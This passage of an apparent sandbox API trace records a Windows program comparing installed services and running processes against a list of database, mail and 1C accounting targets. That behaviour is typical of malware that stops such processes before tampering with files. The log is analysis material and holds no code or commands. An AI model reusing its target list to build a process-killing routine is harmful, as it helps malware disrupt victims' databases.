-1 [0266.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.741] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0266.741] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0266.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0266.741] lstrlenW (lpString="lfsvc") returned 5 [0266.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0266.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0266.742] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0266.742] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0266.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0266.742] lstrlenW (lpString="lmhosts") returned 7 [0266.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0266.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0266.742] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0266.742] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0266.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0266.742] lstrlenW (lpString="LSM") returned 3 [0266.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0266.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0266.742] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0267.056] lstrlenW (lpString="MpsSvc") returned 6 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0267.056] lstrlenW (lpString="NcbService") returned 10 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0267.057] lstrlenW (lpString="netprofm") returned 8 [0267.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0267.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0267.057] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0267.057] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0267.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0267.057] lstrlenW (lpString="NgcSvc") returned 6 [0267.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0267.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0267.057] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0267.057] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0267.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0267.057] lstrlenW (lpString="NlaSvc") returned 6 [0267.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0267.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0267.057] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0267.057] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0267.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0267.057] lstrlenW (lpString="nsi") returned 3 [0267.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0267.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0267.057] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0267.057] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0267.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0267.058] lstrlenW (lpString="PcaSvc") returned 6 [0267.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0267.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0267.058] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0267.058] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0267.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0267.058] lstrlenW (lpString="PlugPlay") returned 8 [0267.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0267.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0267.058] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0267.058] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0267.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0267.058] lstrlenW (lpString="Power") returned 5 [0267.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0267.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0267.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0267.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0267.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0267.058] lstrlenW (lpString="ProfSvc") returned 7 [0267.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0267.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0267.058] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0267.058] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0267.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0267.059] lstrlenW (lpString="RpcEptMapper") returned 12 [0267.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.059] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0267.059] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0267.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0267.059] lstrlenW (lpString="RpcSs") returned 5 [0267.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0267.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0267.059] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0267.059] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0267.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0267.059] lstrlenW (lpString="SamSs") returned 5 [0267.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0267.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0267.059] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0267.059] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0267.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0267.060] lstrlenW (lpString="Schedule") returned 8 [0267.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0267.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0267.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0267.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0267.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0267.060] lstrlenW (lpString="SecurityHealthService") returned 21 [0267.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0267.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0267.060] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0267.060] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0267.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0267.060] lstrlenW (lpString="SENS") returned 4 [0267.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0267.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0267.060] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0267.060] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0267.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0267.060] lstrlenW (lpString="ShellHWDetection") returned 16 [0267.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.060] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0267.060] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0267.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0267.061] lstrlenW (lpString="Spooler") returned 7 [0267.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0267.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0267.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0267.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0267.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0267.061] lstrlenW (lpString="SSDPSRV") returned 7 [0267.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0267.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0267.061] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0267.061] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0267.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0267.061] lstrlenW (lpString="StateRepository") returned 15 [0267.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0267.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0267.061] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0267.061] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0267.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0267.061] lstrlenW (lpString="SysMain") returned 7 [0267.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0267.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0267.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0267.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0267.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0267.062] lstrlenW (lpString="SystemEventsBroker") returned 18 [0267.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0267.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0267.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0267.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0267.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d1fe8 | out: hHeap=0x670000) returned 1 [0267.062] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4e4 [0267.068] Process32FirstW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.069] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.070] lstrlenW (lpString="System") returned 6 [0267.070] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.071] lstrlenW (lpString="smss.exe") returned 8 [0267.071] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.071] lstrlenW (lpString="csrss.exe") returned 9 [0267.072] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.072] lstrlenW (lpString="wininit.exe") returned 11 [0267.072] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.073] lstrlenW (lpString="csrss.exe") returned 9 [0267.073] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.073] lstrlenW (lpString="winlogon.exe") returned 12 [0267.073] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.074] lstrlenW (lpString="services.exe") returned 12 [0267.074] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.075] lstrlenW (lpString="lsass.exe") returned 9 [0267.075] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0267.075] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0267.075] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0267.076] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0267.076] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.077] lstrlenW (lpString="svchost.exe") returned 11 [0267.077] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.077] lstrlenW (lpString="svchost.exe") returned 11 [0267.077] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.078] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.078] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.078] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.078] lstrlenW (lpString="dwm.exe") returned 7 [0267.078] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0267.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0267.079] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0267.079] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0267.079] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0267.079] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0267.079] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0267.079] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.079] lstrlenW (lpString="svchost.exe") returned 11 [0267.079] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.080] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.080] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.080] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.080] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.080] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.080] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.080] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.080] lstrlenW (lpString="svchost.exe") returned 11 [0267.080] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.080] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.081] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.081] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.081] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.081] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.081] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.081] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.081] lstrlenW (lpString="svchost.exe") returned 11 [0267.081] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.081] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.081] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.081] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.082] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.082] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.082] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.082] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.082] lstrlenW (lpString="svchost.exe") returned 11 [0267.082] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.082] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.082] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.082] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.083] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.083] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.083] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.083] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.083] lstrlenW (lpString="svchost.exe") returned 11 [0267.083] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.083] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.083] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.083] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.083] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.083] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.084] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.084] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.084] lstrlenW (lpString="svchost.exe") returned 11 [0267.084] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.084] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.085] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.085] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.085] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.085] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.085] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.085] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.085] lstrlenW (lpString="svchost.exe") returned 11 [0267.085] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.085] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.085] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.085] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.086] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.086] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.086] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.086] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.087] lstrlenW (lpString="svchost.exe") returned 11 [0267.087] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.087] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.087] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.087] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.087] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.087] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.087] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.088] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.088] lstrlenW (lpString="svchost.exe") returned 11 [0267.088] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.088] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.088] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.088] lstrcmpiW (lpString1="postgres.exe", 